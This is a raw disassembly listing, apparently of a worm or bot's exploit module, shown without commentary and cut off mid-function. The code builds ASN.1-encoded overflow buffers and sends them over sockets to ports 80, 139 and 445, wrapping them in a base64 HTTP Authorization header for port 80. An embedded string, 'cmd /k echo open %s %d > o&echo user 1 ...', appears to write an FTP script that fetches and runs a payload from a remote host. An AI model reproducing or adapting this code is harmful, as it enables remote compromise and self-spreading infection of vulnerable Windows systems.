proc near ; CODE XREF: sub_402258+18p ; sub_4022D2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_410C0F mov esi, eax pop ecx test esi, esi jz short loc_4021AA push edi push 0 push esi call sub_410590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4105F0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4105F0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4021AA: ; CODE XREF: sub_40215E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40215E endp ; =============== S U B R O U T I N E ======================================= sub_4021B3 proc near ; CODE XREF: sub_402258+5Ep ; sub_402258+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4021C3 push eax call sub_410C83 pop ecx loc_4021C3: ; CODE XREF: sub_4021B3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4021B3 endp ; =============== S U B R O U T I N E ======================================= sub_4021CC proc near ; CODE XREF: sub_402258+20p ; sub_402333+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4021F9 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_410C0F mov edi, eax pop ecx test edi, edi jnz short loc_4021FD loc_4021F9: ; CODE XREF: sub_4021CC+Dj xor al, al jmp short loc_402254 ; --------------------------------------------------------------------------- loc_4021FD: ; CODE XREF: sub_4021CC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_410590 add esp, 0Ch cmp ebx, 1 jnz short loc_402222 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40223C ; --------------------------------------------------------------------------- loc_402222: ; CODE XREF: sub_4021CC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40223C: ; CODE XREF: sub_4021CC+54j push eax call sub_4105F0 add esp, 0Ch push dword ptr [esi] call sub_410C83 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_402254: ; CODE XREF: sub_4021CC+2Fj pop edi pop esi pop ebx retn sub_4021CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402258 proc near ; CODE XREF: sub_40238E+89p ; sub_40238E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_42F3E4 call sub_40215E lea ecx, [ebp+var_8] call sub_4021CC mov eax, [ebp+var_4] inc eax push eax call sub_410C0F mov edi, eax pop ecx test edi, edi jnz short loc_402292 xor al, al jmp short loc_4022CE ; --------------------------------------------------------------------------- loc_402292: ; CODE XREF: sub_402258+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_410590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4105F0 add esp, 18h mov ecx, esi call sub_4021B3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4021B3 mov al, 1 loc_4022CE: ; CODE XREF: sub_402258+38j pop edi pop esi leave retn sub_402258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022D2 proc near ; CODE XREF: sub_402306+14p ; sub_402323+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40215E mov ecx, esi call sub_4021B3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4022D2 endp ; =============== S U B R O U T I N E ======================================= sub_402306 proc near ; CODE XREF: sub_40238E+F0p ; sub_40238E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_410B60 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4022D2 pop esi retn 4 sub_402306 endp ; =============== S U B R O U T I N E ======================================= sub_402323 proc near ; CODE XREF: sub_40236F+Bp ; sub_40238E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4022D2 retn 8 sub_402323 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402333 proc near ; CODE XREF: sub_40236F+16p ; sub_40238E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4021CC test al, al jz short loc_40236C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_41F1BB+1) call sub_40215E mov ecx, esi call sub_4021B3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40236C: ; CODE XREF: sub_402333+Fj pop esi leave retn sub_402333 endp ; =============== S U B R O U T I N E ======================================= sub_40236F proc near ; CODE XREF: sub_40238E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_402323 test al, al jz short loc_40238A mov ecx, esi call sub_402333 loc_40238A: ; CODE XREF: sub_40236F+12j pop esi retn 8 sub_40236F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40238E proc near ; CODE XREF: sub_402B8D+86p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call near ptr loc_402119+1 mov edi, 408h cmp [ebp+arg_8], edi jg loc_4026E2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_4026E2 push esi lea ecx, [ebp+var_30] call near ptr loc_402119+1 lea ecx, [ebp+var_20] call near ptr loc_402119+1 lea ecx, [ebp+var_50] call near ptr loc_402119+1 lea ecx, [ebp+var_18] call near ptr loc_402119+1 lea ecx, [ebp+var_40] call near ptr loc_402119+1 lea ecx, [ebp+var_38] call near ptr loc_402119+1 lea ecx, [ebp+var_28] call near ptr loc_402119+1 push 4 push offset dword_41EE5C lea ecx, [ebp+var_30] call sub_4022D2 push 3 push offset dword_41EE64 lea ecx, [ebp+var_30] call sub_4022D2 lea ecx, [ebp+var_30] call sub_402258 lea ecx, [ebp+var_30] call sub_402333 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_410590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_41EE50 call sub_4022D2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4022D2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4022D2 lea ecx, [ebp+var_20] call sub_402258 push offset loc_41F1E4 lea ecx, [ebp+var_50] call sub_402306 lea ecx, [ebp+var_50] call sub_402258 push esi lea eax, [ebp+var_858] push 44h push eax call sub_410590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_402124 lea ecx, [ebp+var_58] call sub_402258 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40236F lea ecx, [ebp+var_58] call sub_4021B3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_410590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_402306 push 4 push offset dword_41EE68 lea ecx, [ebp+var_18] call sub_4022D2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4022D2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4022D2 lea ecx, [ebp+var_18] call sub_402258 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_402323 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_402323 lea ecx, [ebp+var_40] call sub_402333 lea ecx, [ebp+var_18] call sub_4021B3 lea ecx, [ebp+var_50] call sub_4021B3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_402323 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_402323 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_402323 lea ecx, [ebp+var_38] call sub_402333 lea ecx, [ebp+var_20] call sub_4021B3 lea ecx, [ebp+var_30] call sub_4021B3 lea ecx, [ebp+var_40] call sub_4021B3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_410590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4022D2 lea ecx, [ebp+var_28] call sub_402258 push 2 push offset dword_41F1D8 lea ecx, [ebp+var_28] call sub_4022D2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_402323 lea ecx, [ebp+var_28] call sub_402333 lea ecx, [ebp+var_38] call sub_4021B3 lea ecx, [ebp+var_10] call near ptr loc_402119+1 lea ecx, [ebp+var_8] call near ptr loc_402119+1 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_402323 lea ecx, [ebp+var_10] call sub_4021CC lea ecx, [ebp+var_28] call sub_4021B3 push offset dword_41F1D4 lea ecx, [ebp+var_8] call sub_402306 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402323 lea ecx, [ebp+var_8] call sub_4021CC lea ecx, [ebp+var_10] call sub_4021B3 push offset dword_41F1D0 lea ecx, [ebp+var_10] call sub_402306 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_402323 lea ecx, [ebp+var_10] call sub_4021CC lea ecx, [ebp+var_8] call sub_4021B3 push offset dword_41F1C4 lea ecx, [ebp+var_8] call sub_402306 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402323 lea ecx, [ebp+var_8] call sub_4021CC lea ecx, [ebp+var_10] call sub_4021B3 push offset dword_41F1C0 lea ecx, [ebp+var_48] call sub_402306 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_402323 lea ecx, [ebp+var_8] call sub_4021B3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_4026F0 ; --------------------------------------------------------------------------- loc_4026E2: ; CODE XREF: sub_40238E+1Bj ; sub_40238E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_4026F0: ; CODE XREF: sub_40238E+352j pop edi pop ebx leave retn sub_40238E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026F4 proc near ; CODE XREF: sub_4027B8+A1p ; sub_4027B8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_41C1B0 ; select cmp eax, edi jnz short loc_40275B lea eax, [ebp+var_10C] push eax push esi call sub_41AFF8 ; __WSAFDIsSet test eax, eax jnz short loc_40275F loc_40275B: ; CODE XREF: sub_4026F4+54j xor eax, eax jmp short loc_40276F ; --------------------------------------------------------------------------- loc_40275F: ; CODE XREF: sub_4026F4+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_4307AC ; recv loc_40276F: ; CODE XREF: sub_4026F4+69j pop edi pop esi leave retn sub_4026F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402773 proc near ; CODE XREF: sub_4027B8+81p ; sub_4027B8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_430790 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_4307E0 ; send cmp eax, 4 jz short loc_40279D xor al, al leave retn ; --------------------------------------------------------------------------- loc_40279D: ; CODE XREF: sub_402773+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4307E0 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_402773 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027B8 proc near ; CODE XREF: sub_402892+48p ; sub_402B8D+181p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_410C0F mov esi, eax pop ecx test esi, esi jnz short loc_4027E1 xor al, al jmp loc_40288D ; --------------------------------------------------------------------------- loc_4027E1: ; CODE XREF: sub_4027B8+20j push ebx push 0 push esi call sub_410590 push 2Fh push offset dword_41EEF8 push esi call sub_4105F0 push 8 lea eax, [esi+31h] push offset dword_41EF28 push eax mov [esi+2Fh], di call sub_4105F0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4105F0 push 6 add ebx, edi push offset dword_42F3DC push ebx call sub_4105F0 mov ebx, [ebp+arg_0] push 85h push offset dword_41EE70 push ebx call sub_402773 add esp, 48h test al, al jnz short loc_402849 loc_402845: ; CODE XREF: sub_4027B8+B5j xor bl, bl jmp short loc_402884 ; --------------------------------------------------------------------------- loc_402849: ; CODE XREF: sub_4027B8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_4026F4 push [ebp+var_4] push esi push ebx call sub_402773 add esp, 1Ch test al, al jz short loc_402845 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_4026F4 add esp, 10h mov bl, 1 loc_402884: ; CODE XREF: sub_4027B8+8Fj push esi call sub_410C83 pop ecx mov al, bl loc_40288D: ; CODE XREF: sub_4027B8+24j pop edi pop esi pop ebx leave retn sub_4027B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402892 proc near ; CODE XREF: sub_402B8D+167p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_41EF34 push [ebp+arg_0] call ds:dword_41C1CC ; send cmp eax, 48h jnz short loc_4028CD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_4026F4 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_4028CD cmp [ebp+var_20], 82h jz short loc_4028D1 loc_4028CD: ; CODE XREF: sub_402892+1Bj ; sub_402892+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_4028D1: ; CODE XREF: sub_402892+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4027B8 add esp, 0Ch leave retn sub_402892 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4028E4 proc near ; CODE XREF: sub_402930+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_41C220 call sub_410DD4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_41C218 fstp [esp+10h+var_10] call sub_410CB2 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_410DD4 inc eax leave retn sub_4028E4 endp ; =============== S U B R O U T I N E ======================================= sub_402930 proc near ; CODE XREF: sub_402AD2+24p var_40 = qword ptr -40h mov eax, offset loc_41B157 call sub_4112A0 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_402FA7 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_4028E4 cmp [ebp-2Ch], eax pop ecx jnb short loc_402972 push edi push eax lea ecx, [ebp-38h] call sub_402F22 loc_402972: ; CODE XREF: sub_402930+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_402A8F mov ebx, [ebp+10h] loc_402981: ; CODE XREF: sub_402930+156j cmp dword ptr [ebp+10h], 3 jb short loc_40298B push 3 jmp short loc_40299D ; --------------------------------------------------------------------------- loc_40298B: ; CODE XREF: sub_402930+55j cmp dword ptr [ebp+10h], 2 jnz short loc_402995 push 2 jmp short loc_40299D ; --------------------------------------------------------------------------- loc_402995: ; CODE XREF: sub_402930+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40299E push 1 loc_40299D: ; CODE XREF: sub_402930+59j ; sub_402930+63j pop ebx loc_40299E: ; CODE XREF: sub_402930+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_41C230 fstp [esp+40h+var_40] call sub_410DFB pop ecx pop ecx call sub_410DD4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4029DD mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4029DD: ; CODE XREF: sub_402930+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_402A4B add [ebp-18h], eax loc_402A2F: ; CODE XREF: sub_402930+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, ds:byte_41EF80[eax] push eax push 1 call sub_402DA4 inc esi cmp esi, [ebp-1Ch] jb short loc_402A2F loc_402A4B: ; CODE XREF: sub_402930+FAj cmp dword ptr [ebp-18h], 48h jb short loc_402A69 push dword ptr [ebp+14h] call sub_410B60 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_402DFD mov [ebp-18h], edi loc_402A69: ; CODE XREF: sub_402930+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_402A83 sub esi, [ebp-1Ch] loc_402A74: ; CODE XREF: sub_402930+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_402DA4 dec esi jnz short loc_402A74 loc_402A83: ; CODE XREF: sub_402930+13Fj cmp [ebp+10h], edi ja loc_402981 push 1 pop ebx loc_402A8F: ; CODE XREF: sub_402930+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_402FA7 push ds:dword_41C228 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_402E54 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_402FA7 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_402930 endp ; =============== S U B R O U T I N E ======================================= sub_402AD2 proc near ; CODE XREF: sub_402B8D+14Ap mov eax, offset loc_41B174 call sub_4112A0 sub esp, 10h push ebx push esi push edi push offset dword_42F3E8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_402930 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_410C0F mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_402B1C xor bl, bl jmp short loc_402B60 ; --------------------------------------------------------------------------- loc_402B1C: ; CODE XREF: sub_402AD2+44j mov ecx, [ebp-18h] mov eax, offset dword_41C238 cmp ecx, ebx jnz short loc_402B2A mov ecx, eax loc_402B2A: ; CODE XREF: sub_402AD2+54j cmp [ebp+18h], ebx jz short loc_402B32 mov eax, [ebp+18h] loc_402B32: ; CODE XREF: sub_402AD2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_410A8A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call ds:dword_4307E0 ; send cmp eax, esi jz short loc_402B57 xor bl, bl jmp short loc_402B59 ; --------------------------------------------------------------------------- loc_402B57: ; CODE XREF: sub_402AD2+7Fj mov bl, 1 loc_402B59: ; CODE XREF: sub_402AD2+83j push edi call sub_410C83 pop ecx loc_402B60: ; CODE XREF: sub_402AD2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_402FA7 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_402FA7 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_402AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B8D proc near ; CODE XREF: sub_40550F+1E6p ; DATA XREF: seg002:off_41FFECo var_624 = byte ptr -624h var_424 = byte ptr -424h var_423 = byte ptr -423h var_395 = byte ptr -395h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 624h and [ebp+var_424], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_423] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_424] push offset sub_41F12C push eax call sub_4105F0 add esp, 0Ch mov eax, offset byte_423068 push eax push eax push ds:dword_42F3F0 push [ebp+arg_0] call sub_407435 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_395] push 400h push eax call sub_410A8A add eax, 90h push eax lea eax, [ebp+var_424] push eax push 164h lea eax, [ebp+var_24] push offset sub_41EFC4 push eax call sub_40238E mov ecx, [eax] xor esi, esi mov [ebp+var_8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp+var_4], eax jnz short loc_402C33 xor eax, eax jmp loc_402D97 ; --------------------------------------------------------------------------- loc_402C33: ; CODE XREF: sub_402B8D+9Dj mov [ebp+var_C], esi loc_402C36: ; CODE XREF: sub_402B8D+1A9j test esi, esi jnz loc_402D3C push 6 push 1 push 2 call ds:dword_41C1C0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_402D24 xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call ds:dword_430794 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call ds:dword_4307D0 ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call ds:dword_430740 ; connect cmp eax, 0FFFFFFFFh jz loc_402D19 cmp [ebp+arg_A0], 50h jnz short loc_402CE1 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_402FA7 lea eax, [ebp+arg_4] push eax call sub_410B60 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_402FE3 push [ebp+var_4] push [ebp+var_8] push ebx call sub_402AD2 add esp, 1Ch jmp short loc_402D16 ; --------------------------------------------------------------------------- loc_402CE1: ; CODE XREF: sub_402B8D+112j cmp [ebp+arg_A0], 8Bh jnz short loc_402CFB push [ebp+var_4] push [ebp+var_8] push ebx call sub_402892 jmp short loc_402D13 ; --------------------------------------------------------------------------- loc_402CFB: ; CODE XREF: sub_402B8D+15Ej cmp [ebp+arg_A0], 1BDh jnz short loc_402D19 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4027B8 loc_402D13: ; CODE XREF: sub_402B8D+16Cj add esp, 0Ch loc_402D16: ; CODE XREF: sub_402B8D+152j movzx esi, al loc_402D19: ; CODE XREF: sub_402B8D+105j ; sub_402B8D+178j push ebx call ds:dword_430828 ; closesocket test esi, esi jnz short loc_402D2F loc_402D24: ; CODE XREF: sub_402B8D+C2j push 3E8h call ds:dword_41C058 ; Sleep loc_402D2F: ; CODE XREF: sub_402B8D+195j inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_402C36 loc_402D3C: ; CODE XREF: sub_402B8D+ABj lea ecx, [ebp+var_8] call sub_4021B3 test esi, esi jz short loc_402D95 lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aAsn1http ; "asn1http" push eax push offset dword_41F1F0 lea eax, [ebp+var_624] push 200h push eax call sub_410A8A lea eax, [ebp+var_624] push eax call sub_407E0E mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc ds:dword_41FFF0[eax] lea eax, dword_41FFF0[eax] loc_402D95: ; CODE XREF: sub_402B8D+1B9j mov eax, esi loc_402D97: ; CODE XREF: sub_402B8D+A1j pop edi pop esi pop ebx leave retn sub_402B8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B138 loc_402D9C: ; CODE XREF: sub_41B138+3j ; seg000:0041B151j ... push 1 call sub_402FA7 retn ; END OF FUNCTION CHUNK FOR sub_41B138 ; =============== S U B R O U T I N E ======================================= sub_402DA4 proc near ; CODE XREF: sub_402930+110p ; sub_402930+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_41C228 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_402DBE call sub_41ACA0 loc_402DBE: ; CODE XREF: sub_402DA4+13j test ebx, ebx jbe short loc_402DF5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_402F22 test al, al jz short loc_402DF5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_410590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_402DF5: ; CODE XREF: sub_402DA4+1Cj ; sub_402DA4+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_402DA4 endp ; =============== S U B R O U T I N E ======================================= sub_402DFD proc near ; CODE XREF: sub_402930+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_41C228 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_402E17 call sub_41ACA0 loc_402E17: ; CODE XREF: sub_402DFD+13j test ebx, ebx jbe short loc_402E4C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_402F22 test al, al jz short loc_402E4C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_4105F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_402E4C: ; CODE XREF: sub_402DFD+1Cj ; sub_402DFD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_402DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E54 proc near ; CODE XREF: sub_402930+17Cp ; sub_41ACFA+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h 